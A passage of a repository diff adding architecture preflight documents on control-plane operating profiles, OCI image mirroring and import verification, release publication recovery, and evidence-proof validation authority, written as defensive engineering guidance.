codecs, and immutable persisted scope are required. | Startup reconciliation is required. Backend recovery observation is optional and is read only from the target manifest; unsupported or unobservable effects become `INDETERMINATE`. | Adds durable claims, retained idempotency, lease admission, and no-replay startup classification. Does not claim multi-owner operation, high availability, exactly-once backend effects, or multitenancy. | +| P2 served | P1's one target and one run per store. The reference HTTP authentication boundary derives the immutable actor context before core admission. | Exactly P1's store requirements plus single-worker HTTP ownership and bounded transport admission. | Exactly P1's rule; HTTP does not create or strengthen backend observation. | Adds authenticated transport, actor-bound disclosure, owner-serialized mutation, and revision-carrying reads. Does not claim multi-worker ownership, TLS/proxy deployment, high availability, exactly-once effects, or multitenancy. | +| P3 coordinated | Unavailable. No target/run or actor model is declared yet. | No guarantees or required capability set is declared. | Future decision only. | Reports only that coordination, fencing, distributed scheduling, cache coherence, and tenant isolation require a future ADR and formal model. | + +Use closed machine identifiers for the catalog fields and keep their human text +beside them in the same immutable declaration. Do not model the matrix as a set +of loosely related booleans or mutable dictionaries. P0's in-memory audit and +P1/P2's durable audit share the same audit semantics but have different +persistence claims; the declaration must preserve that distinction. + +## Provider facts and admission + +The profile catalog states requirements. Each composition contributor states +only the facts it owns: + +- a store declares atomic claim/terminal commit, logical revision CAS, + operational audit, immutable scope, persistence, and lease facts; +- the core supplies the one mutation authority, actor-bound operation context, + strict validation, and startup reconciliation behavior; +- the target's existing manifest and optional recovery observer remain the + sole recovery-observation declaration and implementation pair; +- the HTTP adapter supplies bounded authenticated transport, the existing + security policy, single-worker admission, and revision-bearing response + projection. + +Capability identifiers must encode their owning layer so unrelated providers +cannot satisfy each other's requirements by unioning generic flags. Provider +claims are static composition facts, not dynamic readiness. Lease loss, +durability poisoning, draining, and unresolved recovery remain in +`control_plane_readiness()` and do not mutate the selected profile. + +Provider facts are internal admission inputs, not a second public catalog. The +HTTP adapter composes from an already validated P1 declaration plus its own +HTTP facts; it must not reach through the core to a private store-capability +set or re-inspect the store. Likewise, a store may expose a general scope or +runtime-admission operation, but it must not gain a profile-named method: stores +provide facts and enforcement, while the composition selects profiles. + +Custom stores use the same provider declaration shape as built-ins. Their +declaration is an attestation, not proof: `adapt_control_plane_store()` still +owns callable/signature validation, the store protocols still own the call +shape, runtime admission still exercises the lease and scope checks, and the +existing conformance suite supplies behavioral evidence. Do not duplicate +`_BASE_STORE_METHODS`, `_ATOMIC_STORE_METHODS`, or their signature inspection +inside profile validation. + +Admission preserves the incumbent validation order. Typed profile and run-scope +shape, catalog availability, and the static capability match run before provider +effects. Store protocol/signature validation then remains mandatory; P0 binds +its in-memory scope, while P1 acquires and verifies its lease before local path, +schema, migration, integrity, state-load, or recovery work. P2 additionally +requires an explicitly selected P1 core, then passes the existing worker-count, +security-config, request-bound, and executor construction gates before an app +can be exposed. A failure after resource acquisition follows the existing +provider-before-lease close order. A capability declaration must never short +circuit any of these authorities. + +The static capability match itself runs before lease acquisition, filesystem +creation or inspection, store reads, recovery, route registration, and backend +calls. A mismatch reports sorted stable capability identifiers only. It does +not include the provider representation, path, SQL, exception chain, target/run +values, or security configuration. + +## Cross-cutting incumbents + +| Concern | Canonical incumbent to reuse | +| --- | --- | +| Runtime options and normalized run scope | `ControlPlaneOptions` and `ControlPlaneConfiguration`; reject unknown options and keep `PlanScope` validation. | +| Store call shape and atomic mutation | `ControlPlaneStore`, `AtomicControlPlaneStore`, `RuntimeAdmittedControlPlaneStore`, and `adapt_control_plane_store()`. | +| P0/P1 provider behavior | `InMemoryControlPlaneStore`, `LocalControlPlaneStore`, `SnapshotState`, revision CAS, atomic claims/terminal commits, strict codecs, and immutable store scope. | +| Ownership and host posture | `RuntimeOwnerLease`, `require_single_worker_configuration()`, and the current runtime lifecycle close/drain order. | +| Recovery observation | `BackendManifest.recovery_observation`, `RecoveryObservationCapabilities`, registry target-shape/signature validation, and `control_plane_recovery`. | +| Actor and authorization boundary | `ControlPlaneIdentity`, `OperationAdmissionContext`, `operation_actor_scope()`, `operation_admission_context()`, participant subject bindings, and current core authorization checks. | +| HTTP security and admission | `ControlPlaneSecurityConfig.strict_defaults()`, `_ControlPlaneApiAuth`, `RequestSizeLimitMiddleware`, and `_ControlPlaneCallExecutor`. | +| Audit and observability | `AuditEvent`, `terminal_operation_audit()`, `require_audit_event_fields()`, stable `Diagnostic` codes, value-free health, and module loggers. | +| Failure mapping | Existing `TypeError`/`ValueError` composition failures and shared redacted HTTP response handlers; no new public exception hierarchy or provider error envelope. | +| Offline maintenance | `maintain_local_control_plane_store()`, `LocalControlPlaneStore.admit_maintenance()`, and `raes_cli.runtime`; these validate the same scope, path, lease, codec, and migration authorities without pretending to be a live P1 composition. | +| Direct execution | `RuntimeManager`, `RuntimeManager.apply()`, and direct backend calls remain outside the profiled control plane and gain no profile guarantees. | +| Documentation and evidence | ADR-104, the FM3 model, `runtime-architecture.md`, `control-plane-operations.md`, and the CP-9 conformance matrix. | +| Repository workflow | `.ground-control.yaml`, `.gc/plan-rules.md`, `tools/check_repo_policy.py`, `tools/check_requirement_governance.py`, and `tools/verify_all.py`; keep API-404 IMPLEMENTS/TESTS traceability aligned without creating a schema-publication change. | + +The other repository profile systems are different concepts. Do not reuse or +extend backend conformance profiles, SDL/domain profiles, validation profiles, +realization profiles, or `raes_runtime.backend_profiles` for control-plane +operating profiles. + +## Security and whole-repo passage + +| Layer | Required passage | +| --- | --- | +| Typed configuration | Profile selection enters through the existing trusted composition shape. Only closed profile ids are accepted; P3 and unknown values fail before initialization. Target and run continue through `runtime_target_scope()` and `PlanScope`. | +| Store shape and semantics | The provider declaration is the early static match; `adapt_control_plane_store()` still validates callable shape before scope/admission effects. Local admission still validates lease, immutable scope, codecs, schema, SQLite mode, integrity, and filesystem identity. | +| Target capability shape | `RuntimeTarget` construction keeps exact manifest/component presence and method-signature checks. Recovery observation is never guessed from a callback or store capability. | +| HTTP authentication and authorization | P2 still uses strict security defaults, bearer precedence, explicit proxy trust, typed identities, target binding, participant/operation authorization, bounded request admission, and one worker. Profile interrogation grants no authority. | +| Secret handling | Profile and capability data contain only stable identifiers. Tokens, credentials, headers, raw requests, paths, backend exceptions, and exact retry proofs remain outside the declaration. Existing value-free commitments and credential sanitizers are unchanged. | +| Environment and process exposure | CP-10 adds no profile, token, or store-path environment variable or command-line option. `WEB_CONCURRENCY` and `UVICORN_WORKERS` remain count-only single-worker gates. TLS, proxy stripping, service-account credentials, and secret loading remain deployment inputs. | +| Error envelopes and logs | Composition failures happen before an app is available. If an unexpected provider failure later crosses HTTP, existing coarse redacted handlers apply. Capability mismatch text and logs use stable identifiers without provider values, tracebacks, or paths. | +| Health and audit | Introspection is side-effect free: it emits no audit event and is not a liveness/readiness result. Existing health and operational audit carriers retain their separate meanings. | +| Lifecycle cleanup | A rejected profile performs no provider work. A later constructor failure uses the incumbent drain/provider-close/lease-release ordering and must not leave an admitted owner or partially exposed app. | + +No new transport parser, environment binding, secret loader, store codec, JSON +Schema, schema-publication ledger entry, audit sink, diagnostic family, or +logging path is needed. + +## Drift and verification guardrails + +One independent acceptance matrix should pin the expected P0--P3 ids and every +field above. Other tests consume the production catalog rather than restating +it, while still proving these boundaries: + +- P0 with the in-memory provider and P1 with the local provider satisfy their + exact required capability sets; +- selecting P1 with an ephemeral or capability-deficient provider fails before + any provider method or filesystem effect; +- P2 accepts only the reference HTTP composition over a validated P1 core and + rejects P0, missing authenticated admission, or multi-worker posture; +- removing each required provider capability fails construction; no case + returns a weaker declaration; +- P1/P2 without a recovery observer still construct and classify an unknown + interrupted effect as `INDETERMINATE`; +- P3 inspection returns only its unavailable nonclaim, and every selection path + rejects it before touching providers; +- omitted selection remains a legacy unclaimed composition and is never + inferred from a store class, HTTP adapter, or successful admission; +- core interrogation, store capability matching, and HTTP composition return or + compare the canonical typed declaration rather than copied strings; +- offline maintenance and direct `RuntimeManager` paths neither require nor + report a control-plane operating profile; +- structural documentation tests compare the explain table's stable profile, + guarantee, and nonclaim identifiers with the canonical catalog. + +The existing CP-9 tests remain the behavioral evidence for the declared +guarantees. Capability matrix tests do not replace crash, concurrency, +authorization, redaction, recovery, or process-loss evidence, and should not +derive their expected result from the same production mapping they test. + +## Extension seam + +The next persistence provider implements the existing store protocols and +supplies the same immutable provider-fact declaration. If its facts satisfy P1, +no profile entry, HTTP policy, or documentation vocabulary changes. The next +HTTP authentication mechanism resolves to the existing `ControlPlaneIdentity` +and does not alter P2. If a future composition layer contributes a genuinely +new fact, it owns a new layer-prefixed capability family; generic flags are not +unioned across store, core, target, and transport boundaries. + +P3 is intentionally a different change. It needs a future ADR and formal model +for fencing, coordination, partitions, cache coherence, scheduling, and tenant +isolation before its declaration can gain requirements or guarantees. Do not +reserve speculative flags now. + +## Non-goals and anti-patterns + +- No profile inference from concrete classes, `hasattr()`, store paths, + successful operations, HTTP presence, or environment variables. +- No implicit P0/P1/P2 claim for omitted selection and no bulk migration of + legacy constructors under this issue. +- No negotiation, best-effort mode, automatic downgrade, or automatic upgrade + to the strongest provider capability set. +- No store-owned profile id, HTTP-owned guarantee table, documentation JSON + catalog, or second runtime mapping loaded from the #1151 design artifact. +- No profile-named store method and no HTTP access to private core/store + capability state; compose from validated declarations at each boundary. +- No P2 claim on a bare core or in-memory store, and no P3 placeholder that can + pass selection. +- No conflation of static capability, dynamic readiness, conformance evidence, + or deployment topology. +- No requirement that every backend support recovery observation; explicit + indeterminacy is part of the P1/P2 guarantee. +- No new public exception hierarchy, discovery endpoint, OpenAPI profile DTO, + persisted profile record, schema, migration, audit event, or health field. +- No profile requirement or claim on offline check/backup/restore tooling, + `RuntimeManager`, or direct backend execution. +- No change to operation, receipt, status, snapshot, actor, authorization, + idempotency, revision, audit, recovery, or store-scope semantics. +- No TLS endpoint, proxy implementation, secret loader, process supervisor, + backup policy, multitenancy, multi-worker ownership, high availability, or + exactly-once backend-effect claim. +- No API-404 statement rewrite; CP-11 owns requirement reconciliation after the + executable profile surface lands. diff --git a/docs/decisions/issue-1223-oci-mirror-preseed-preflight.md b/docs/decisions/issue-1223-oci-mirror-preseed-preflight.md new file mode 100644 index 000000000..98d5b55be --- /dev/null +++ b/docs/decisions/issue-1223-oci-mirror-preseed-preflight.md @@ -0,0 +1,119 @@ +# Issue 1223: OCI mirror and pre-seeded release-test image preflight + +**Date:** 2026-09-16 + +**Status:** Architecture preflight; implementation authority remains issue 1223 + +**Design authority:** issue 1168, ADR-106, ADR-107, and +`docs/decisions/package-artifacts/`. + +## Purpose and entry gate + +Issue 1223 extends the already-landed #1110 release-only real-container gate +with a reviewed OCI acquisition/import/export path. It must preserve the +reviewed index, the selected platform manifest, its config and layers, and the +evidence needed to prove that the imported image is the same graph. It does not +rebuild the release gate or introduce development OCI semantics. + +Execution may begin only after the native GitHub blocking relationships recorded +by issue 1168 are satisfied and Backend and Release name the implementation +owner. A prose dependency reference, successful local test, or accepted ADR is +not a replacement for either live gate. + +## Authority and boundary + +| Concern | Canonical incumbent | Binding boundary | +| --- | --- | --- | +| Release-required versus optional local behavior | #1110, `.github/workflows/release-please.yml`, `test_reference_backend_docker_integration.py` | Keep `RAES_DOCKER_INTEGRATION_REQUIRED` as the one closed selector. Required mode fails for absent runtime/input, zero cases, and skips; optional local/PR behavior remains visibly optional. | +| Runtime image admission | `ImageTrustPolicy` in `raes_reference_backend.drivers.oci_image_trust` | A runtime image is admitted only by the existing digest-pinned/explicit operator policy. Mirror selection is transport location, not a new image-trust override. | +| Native execution and portable diagnostics | `OciDeploymentDriver` | Preserve fixed argv, closed runtime names, bounded subprocesses, private native output, ownership labels/readback, existing diagnostic codes, rollback, and retryable teardown state. | +| Tooling input/policy selection | `implementations/tooling/artifacts.lock.json`, `implementations/tooling/profiles/`, `tools/tooling_policy_gate.py`, `tools/check_tooling_artifact_policy.py` | OCI client/platform/policy facts belong in the existing reviewed tooling authority and its static policy gate, not in SDL contracts, runtime package resolution, a new lock, or ad-hoc workflow literals. | +| OCI graph movement | maintained Skopeo plus Docker/Podman | Use native client export/import/copy operations. Repository code may construct validated fixed argv, bound local files, hash/read back identities, classify exits, and enforce a wall timeout; it must not implement HTTP, registry protocol, retry, redirect, TLS, framing, or an alternate image puller. | +| Release evidence and retention | ADR-107 and `docs/decisions/package-artifacts/operations.md` | Retain the reviewed index, every required selected platform manifest/config/layer, and evidence/receipt together. A tag, cache hit, mirror digest assertion, or selected child manifest alone is not an equivalent identity. | + +There is no controller, DTO, repository, service, public schema, or SDL surface +to add. Checked-in lock/profile policy, the release workflow, the OCI driver, +and the existing Nox/pytest path are the repository equivalents. The runtime +module registry and SDL workload package authority remain out of scope. + +## Binding design guardrails + +The OCI input record must express a closed, validated selection: logical image, +reviewed multi-platform index digest, each required platform tuple and selected +manifest digest, config digest, layer digest set, client/tool identity, and the +applicable policy/profile identity. Import and release execution must prove this +record before use and must fail if an expected platform object is missing, an +unexpected/wrong-platform object appears, or any digest changes. The selected +platform manifest is evidence *within* the reviewed index graph, never a +replacement for the index identity. + +The record belongs in the canonical development-artifact lock and its existing +admission/profile schema family: extend the `oci-image` variant in +`artifacts.lock.json`, `artifact-lock.schema.json`, +`admission-policy.json`, and the corresponding tooling-policy validation only +as needed to make the complete graph and closed context selectable. The current +generic `oci-image` handling proves `oci-index-digest` but has no fields or +semantic checks for selected manifests, configs, or layers; accepting this +feature through that index-only shape would be an integrity regression. Do not +create a second OCI lock, ad-hoc manifest JSON schema, or policy loader. The +same canonical validator must enforce uniqueness of image/platform identities, +closed keys, safe bounded local payload paths, graph membership, policy/profile +binding, and retention/evidence identity before any native-client invocation. + +The stable extensibility seam is a closed OCI input/profile identifier bound to +an explicit required-platform set. Adding a registry mirror, target platform, +or future image changes that record and its policy/evidence; it must not add +free-form image references, arbitrary Skopeo/Docker/Podman argument arrays, or +per-workflow conditionals. Mirror-only and pre-seeded contexts must have no +unconditional public pull and no public fallback. Credentials, CA/trust +references, and registry endpoints are operational configuration references, +never image identifiers, argv values, cache keys, evidence names, or logs. + +The real-container tests currently use fixed workspace labels and the driver +derives native names solely from the RAES address. This is insufficient for +concurrent runs. Generate one opaque, bounded run namespace at the test/harness +boundary, pass it as the driver's existing `workspace`, and feed the same +namespace into native resource naming while retaining the readable address +suffix. Cleanup must target only resources carrying the exact workspace and +address ownership proof. Both normal completion and every failure path must +execute teardown; failed deletion remains a reported test failure rather than +being hidden by `--rm`, a broad label sweep, or best-effort cleanup. + +## Cross-cutting security and validation surface + +| Layer | Required treatment | +| --- | --- | +| Repository/config admission | Reuse repository-confinement, tracked-regular-file, bounded JSON/profile validation, and aggregate `PolicyFailure` reporting from the tooling-policy modules. Reject unknown keys, duplicate logical/platform identities, traversal, symlinks, special files, oversize artifacts, and unbound generated evidence. | +| Policy semantics | Validate the full index-to-platform-manifest/config/layer graph and required platform set before a client import/pull or daemon execution. Bind the client/platform/profile and evidence to the same reviewed policy; syntactic digest shape alone is insufficient. | +| Environment and secrets | Start from a minimal environment. Do not inherit proxy, registry, Docker config, credential-helper, or ambient image override state unless the selected profile explicitly owns a safe reference. Never put credentials, tokens, private registry URLs, or CA material on argv or in emitted evidence. | +| OS/native client boundary | Invoke only maintained Skopeo/Docker/Podman clients with fixed argv and bounded timeouts; retain the OCI driver's closed runtime allowlist. No shell, no `shell=True`, no custom network stack, and no outer acquisition retry loop. Isolate per-run temporary workspace/cache paths with restrictive permissions. | +| Error envelope and observability | Reuse the driver's coarse portable diagnostics and existing release/JUnit reporting. Record safe logical image/platform/digest, policy/client identity, source class (preseed/mirror/public where allowed), duration, bytes, and cleanup outcome. Do not emit native stderr, registry response bodies, daemon IDs, credentials, or private locator text. | +| Persistence/evidence | Treat export payloads and daemon/client caches as untrusted carriers. Revalidate retained OCI objects and receipts on import; preserve evidence beside the graph. Writable caches are disposable and never become an authority or a successful-import marker. | + +## Qualification boundary + +Issue 1223 supplies the OCI slice of T07, T10, T11, T13, and T17 in +`operations.md`. Evidence must name the exact implementation revision, policy +and profile, client versions, required platforms, complete OCI identity graph, +source class, egress condition, test/JUnit result, concurrent run namespaces, +and cleanup result. It must not claim qualification for unrelated generic, +Python, proof-runtime, promotion, signing, or publisher controls. + +## Gotchas and explicit non-goals + +- Do not treat a mutable tag, one platform digest, `docker save` output, a + local daemon cache hit, or `skopeo` success as proof that the reviewed + multi-platform identity survived. +- Do not pre-pull publicly before mirror-only/pre-seeded selection, fall back + to a public registry after a mirror/import failure, or add an integrity + bypass such as an arbitrary image environment variable. +- Do not make a test server or fault proxy into production transport code. +- Do not add a second image policy, OCI manifest schema, exception hierarchy, + workflow DAG, cache format, resource cleaner, or subprocess wrapper. +- Do not widen cleanup to names/prefixes alone: a concurrent foreign resource + must never be removed. Do not swallow teardown failure. +- Do not change SDL workload package authority, runtime module-registry + resolution, release publication/admission architecture, or ordinary optional + Docker/Podman behavior. This issue does not promise every runtime, registry, + architecture, or disconnected environment beyond its explicit qualified + profile. diff --git a/docs/decisions/issue-1227-release-publication-preflight.md b/docs/decisions/issue-1227-release-publication-preflight.md new file mode 100644 index 000000000..50a162685 --- /dev/null +++ b/docs/decisions/issue-1227-release-publication-preflight.md @@ -0,0 +1,65 @@ +# Issue #1227: Tested-release publication and recovery preflight + +## Decision + +Publication and recovery consume the existing admitted distribution set. Its +canonical byte contract is `tools/release_evidence_admission.py`: +`release-evidence-index.json` declares the one wheel and one sdist by relative +path, filename, size, and SHA-256; `verify_admission()` rejects missing, extra, +replaced, or changed subjects before a publisher uses them. Do not introduce a +second release-manifest, digest file, evidence format, service, or persistence +layer. + +`admit-release` must run that existing admission validation after its +Actions-artifact download, then derive the two expected basenames and digests +from its validated index. Because publisher jobs must not check out or execute +candidate source, that job is the trust bridge: after successful verification it +may expose the four scalar filename/digest values as job outputs. Publisher jobs +use those outputs to validate their independently downloaded files and rehash +them immediately before each destination operation. The admission boundary, not +a publisher, also rejects names that do not correspond to the resolved +tag/version. The derived wheel built from the sdist is a test subject only; it +is never a publication candidate. + +Each destination is reconciled independently and is not transactional: + +- an existing PyPI or GitHub asset is successful only when its exact expected + name and SHA-256 match the admitted original; +- a same-name or same-version mismatch is a visible failure, never an + overwrite, `--clobber`, moved tag, or rebuild; +- an ambiguous client/API outcome requires a destination readback and the same + comparison before retrying only the pending destination; +- if the original admitted bytes cannot be recovered from the named Actions + artifact, stop with that diagnosis. A reviewed normal new-release process is + the only next path. + +The existing release identity checks remain independent of artifact checks: +numeric GitHub Release id, draft state, tag name, and fully dereferenced commit +SHA are checked at their existing publication boundaries. Artifact identity +must not be inferred from release/tag identity, and release identity must not +be inferred from an artifact filename or digest. + +## Boundaries + +Keep the current machine-authority separation: the exact-SHA verifier and +required real-container lane run before build; build/test, attestation, and +admission have no PyPI environment; only `publish-pypi` retains scoped OIDC +Trusted Publishing; GitHub attachment/finalization stays a separate +`contents: write` job. No publisher checks out or executes candidate source. +Keep pinned actions, `persist-credentials: false`, fixed/validated environment +values, and credentials out of command arguments and diagnostics. + +`release_evidence_admission.AdmissionError` and its stable codes are the +failure vocabulary for local artifact admission. Shell/API destination failures +should remain concise, non-secret workflow diagnostics; do not add an exception +hierarchy or logging format. Extend `test_release_workflows.py` for workflow +ordering/permissions and executable shell recovery cases, and reuse the #1226 +admission tests for input-shape and digest cases. + +## Non-goals + +This does not create enterprise storage, promotion/quarantine/revocation +services, a backup or retention guarantee, an independent evidence framework, +a distributed transaction, a public test release, or a recovery rebuild path. +It does not amend ADR-106/107: their current #1313 amendments already confine +this work to ordinary same-byte handoff and partial-publication recovery. diff --git a/docs/decisions/issue-1237-capture-proof-authority-preflight.md b/docs/decisions/issue-1237-capture-proof-authority-preflight.md new file mode 100644 index 000000000..94bcab503 --- /dev/null +++ b/docs/decisions/issue-1237-capture-proof-authority-preflight.md @@ -0,0 +1,215 @@ +# Issue 1237 capture admission and evidence-proof authority preflight + +Status: non-normative architecture guidance. Owning requirements: EXP-708 and +EXP-715. Supporting trust-and-integrity rationale: GOV-913. GitHub issue #1237 +is the delivery contract. Inspected baseline: current worktree. + +[ADR-064](adrs/adr-064-experiment-evidence-and-measure-contract-boundary.md), +[ADR-066](adrs/adr-066-observability-evidence-plane-separation.md), and the +#1112 preflight already establish the relevant boundaries. No ADR is needed: +this issue must consolidate existing authority, not introduce a new evidence +architecture or public semantic model. + +GOV-913 supplies the trust-and-integrity rationale, but +[ADR-071](adrs/adr-071-reusable-asset-trust-and-integrity-policy.md), its +normative specification, and `reusable-asset-trust-policy-v1` remain the sole +reusable-asset policy authority. A content-backed run-evidence proof is not a +reusable-asset attestation, signature verification, trust decision, or policy +record. Neither the proof nor the output-contract registry may interpret +`mechanism_ref` values or duplicate ADR-071's asset-family policy. + +## Decision and boundaries + +`raes_contracts.evidence_satisfaction` is the sole authority that turns +admitted capture requirements, records, emitted artifacts, and bounded content +into evidence satisfaction. Promote its private `_ValidatedEvidenceBinding` to +one public immutable proof result (and, if useful, a collection indexed by the +canonical capture-requirement identity). It must be constructed only after the +complete #1112 identity/window/disclosure/source/artifact/checksum/schema/ +semantic-validator/field-selector checks have succeeded. + +The proof is an opaque, process-local validation result, not a cryptographic +proof or portable contract. It has no public decoder, wire schema, or durable +form; an exact-type check is a programming boundary rather than protection from +malicious code already executing in the validator process. Revalidate content +after every process, persistence, or trust-boundary crossing. Index internal +bindings by `(capture_spec_id, spec_version, requirement_id)` and study proofs +by `(run_id, run_version)`; a bare requirement or run id is safe only after the +owning validator has rejected ambiguity explicitly. + +Task, run, study, metric, and condition validation may consume this proof +result and perform only their owning relation checks. They must not reconstruct +authority from `satisfies_refs`, artifact ids/URIs/checksums, record refs, +`payload_summary`, result `evidence_refs`, manifest offers, adapter receipts, +or metadata. Those are identity/provenance inputs or structural links, not +proof of emitted content. Keep `validate_experiment_run_structure_against_task` +explicitly structural; the authoritative path remains +`validate_experiment_run_against_task` with content-backed inputs. + +The evidence-eligible output-contract registry must be one governed, +local-only registry in `raes_contracts`, replacing the split lookup between +`schema_bundle()` and `_OUTPUT_VALIDATORS`. Each entry atomically supplies: + +- the versioned output-contract id and its exact published schema resolver; +- the owning closed semantic validator; and +- the allowed encoded root/media representation where that is presently + supported. + +Registration fails closed: a declared evidence output contract without either +the published schema or semantic validator is invalid at manifest admission and +at emitted-content validation. The registry is an adapter over the existing +schema bundle and contract models, not a second schema publication ledger or a +copy of JSON Schema. `contracts/schema-publication-manifest.json` remains the +only machine-readable publication registry under ADR-061. + +Capture dimensions must be defined once as governed dimension metadata used by +the Pydantic offer model, `ObservationCaptureOffer` dataclass conversion, +`CaptureDemand` projection, matcher, and diagnostics. Preserve concrete closed +fields and their current domain-specific rules; do not replace them with an +untyped `dict[str, object]` or generic `constraints` bag. The metadata must +identify the canonical demand and offer projection, comparison semantics +(subset, exact, overlap, or scalar equality), and deterministic diagnostic +code. A new required capture dimension therefore has no valid partial path: +the parity/property suite must cover SDL projection, capture-spec projection, +manifest Pydantic/dataclass round trip, matching, diagnostics, and all ingress +callers before it can be accepted. + +Keep that metadata dependency-neutral. `raes_contracts` may own closed +dimension descriptors and contract conversions; SDL/capture semantic +derivation stays in `raes_processor`, and protocol dataclass validation stays +in `raes_backend_protocols`. Do not reverse those imports, place processor +callbacks in the registry, or replace each owner's semantic validators with +unbounded reflection over arbitrary objects. + +## Existing owners that must be reused + +| Concern | Canonical incumbent and required use | +| --- | --- | +| Intent and plane split | `EvidenceRequirement`, `ExperimentCaptureSpecModel`, `ExperimentCaptureRequirementModel`, `ExperimentTaskModel`, and ADR-064/066. Do not make a backend capability or record reference into authored demand. | +| Offer contract | `ObservationCaptureOfferModel`, `ObservationCaptureOffer`, `ObservationCapabilitiesModel`/`ObservationCapabilities`, `backend_manifest_v2_model()`, and `backend_manifest_from_v2_model()`. Keep Pydantic/dataclass symmetry and the existing offer-coherence validation. | +| Admission | `raes_processor.capture_admission`, `compile_runtime_model()`, `planner.plan()`, trial compiler, admitted-plan digest/sealing, and `realize_admitted_trial_entry()`. One matcher, stable complete diagnostics, no backend-name branches. | +| Output proof | `evidence_satisfaction`, `_evidence_content_validation`, `json_ingress`, `profile_schema_registry`, `uri_safety`, associated-artifact validators and their validation-limit pattern, and `ExperimentRunEvidenceInputs`. Readers remain explicit bounded `BinaryIO`s. | +| Reusable-asset policy | ADR-071, `specs/supply-chain/reusable-asset-trust-integrity.md`, `reusable-asset-trust-policy-v1`, and its existing model/fixture tests. Keep this declarative family policy separate from run-content proof; #1237 may consume incumbent digest/checksum mechanisms but must not become its runtime enforcement layer. | +| Contract publication and packaging | `ContractModel(extra="forbid")`, `schema_bundle()`, `contracts/schemas/`, fixtures, schema publication manifest/entries, `corpus_family_root(SCHEMAS)`, the Hatch corpus force-include in `implementations/python/pyproject.toml`, `test_corpus_packaging.py`, `tools/check_generated_schemas.py`, `tools/check_schema_publication.py`, and ADR-061. Published schema is authoritative; do not hand-edit a generated mirror or resolve it through a checkout-relative path. | +| Errors, persistence, runtime | `Diagnostic`/`DiagnosticModel`, existing `ValueError`/Pydantic parse boundaries, `RuntimeManager.apply()`, `_submitted_plan_diagnostics()`, `_call_backend_apply()`, `ControlPlaneStore`, snapshots, `AuditEvent`, and redacted API errors. Add neither an exception hierarchy nor a proof store/log stream. | +| Requirement workflow | `tools/policy/requirement_order.yaml`, `test_issue_1237_governance.py`, requirement traceability, and the repository policy commands. The changed implementation surfaces belong to the `experiment-evidence` phase and are authorized by EXP-708/EXP-715; GOV-913 does not independently authorize them. Because the branch name has no requirement UID, policy execution must set the owning `RAES_REQUIREMENT_UID` explicitly. | + +## Cross-cutting security and whole-repository gates + +| Layer | Required behavior | +| --- | --- | +| SDL and configuration ingress | Continue safe YAML limits, closed SDL models, canonical reference resolution, instantiation, and semantic revalidation. Unknown capture requirement/spec ids fail; no string/title/fallback resolution. | +| Manifest and contract shapes | Use the closed Pydantic contract, controlled vocabularies, supported-contract checks, offer coherence, schema parity, fixtures, and publication ledger. A manifest-supported contract id alone is transport compatibility, never proof authority. | +| Planning through realization | All existing pre-effect ingress points—planner, trial compilation, realization, runtime submission, and study/run analysis—must execute invariant-level conformance against the same semantics. Retain digest-bound inputs and reject before backend validation/apply. | +| Artifact/content ingress | Use caller-provided bounded readers, size/checksum verification, bounded JSON/JSONL parsing, offline schema resolution, and the atomic registry. Snapshot/revalidate mutable task, run, spec, record, and mapping inputs before lengthy reader I/O, and bind the proof to those exact stabilized inputs; hashing caller-owned objects only after validation leaves a mutation race. Bound artifact/record counts and aggregate declared bytes as well as each artifact, following `AssociatedArtifactValidationLimits`; a per-artifact cap alone permits unbounded total work. Read each unique artifact once and reuse its validated document for multiple requirement bindings, so shared artifacts and single-pass streams cannot make authority depend on iteration order or cursor state. Never fetch an artifact URI, search a host path, load a validator from data, or parse unbounded bytes. `ExperimentArtifactRefModel.uri` currently guarantees only a non-empty string, so any locator retained for path-qualified proof matching must first pass `uri_safety.validate_safe_absolute_uri`; model admission alone is not that guarantee. | +| Authorization and secret surfaces | No endpoint, role, token, environment variable, or secret-binding shape is needed. Preserve `ControlPlaneSecurityConfig`, role/target checks, request limits, idempotency, and audience separation. Proofs, diagnostics, and manifests contain safe ids/digests/state only; if path-qualified matching requires a locator, retain only an already validated inert credential-free value and keep it out of serialization and representation. Never retain credentials, signed URLs, raw sensitive evidence, environment dumps, or backend representations. | +| OS/process exposure | The registry, matcher, and proof construction are pure and spawn no process. Existing backend producers retain fixed/allowlisted argv, no shell, bounded output/time, and no secrets/raw evidence in argv, stderr, or logs. | +| Error envelopes and observability | Parser boundaries retain Pydantic errors; planner/runtime use deterministic `Diagnostic`s; control-plane responses/audits remain redacted. Do not include payloads, URIs, exception text, tracebacks, or validator internals in error envelopes. In particular, content-validation failures must never reach an HTTP route that renders `detail=str(exc)`; translate them to a stable public diagnostic first if a later API surface is added. | +| Persistence/recovery | Proof authority is recomputable from exact supplied records/readers and belongs only in existing typed run/study validation flows if persistence is necessary. Do not persist a free-standing "validated" flag or rely on snapshot/operation/audit metadata as proof. | +| Installed runtime | Resolve registered schemas only through the packaged contract corpus and deny remote `$ref` retrieval. The installed-wheel smoke must resolve and exercise every evidence-eligible registration without the source checkout present; directory-existence coverage alone is insufficient. | + +## Extensibility seam and conformance requirement + +The extension seam is the versioned output-contract registry entry plus the +governed capture-dimension definition. A future capture dimension adds one +definition with its demand/offer accessors, comparison, diagnostic, and +round-trip/property cases; a future output contract adds one schema-backed +semantic-validator entry. Neither change may require a backend-specific +conditional, parallel schema registry, new consumer-specific proof logic, or +an authority-bearing free-form field. + +Build a shared invariant-level conformance matrix, not copies of identical +example tests. It must execute the same accepted/rejected vectors at planning, +trial compilation, trial realization, direct runtime submission, and study/run +analysis. Generate dimension-deletion/mismatch vectors so every dimension is +observed in projection, round trip, matcher, and diagnostic output. Include +negative proof vectors where metadata and `satisfies_refs` align but bytes, +digest, schema, semantic validation, selector, source, window, redaction, or +loss conditions fail. + +## Gotchas and anti-patterns + +- Do not make a proof object a serializable self-attestation, or permit callers + to instantiate it from references; its constructor/factory must remain behind + complete validation. +- Do not let an unvalidated artifact URI enter the proof merely because the + current artifact model accepted a non-empty value; signed query parameters, + credential userinfo, host paths, and dereferenceable locators are not proof + identity. +- Do not treat hashing a locator as sanitization. Low-entropy or credential- + bearing locators remain sensitive and must be rejected before any digest is + retained, compared, logged, or exposed. +- Do not validate mutable caller-owned carriers and only then compute their + proof digests; stabilize the full validation cut so concurrent or callback + mutation cannot bind a proof to content that skipped an earlier invariant. +- Do not key bindings or per-run evidence inputs by a bare id when versioned or + spec-local identities can coexist, and do not consume the same reader once + per binding when one artifact may satisfy several requirements. +- Do not use `satisfies_refs` to select or satisfy task/metric/condition/study + evidence. It remains non-authoritative provenance metadata. +- Do not add a compatibility fallback for legacy coarse capability lists, + booleans, supported contract ids, absent schema entries, absent validators, or + incomplete 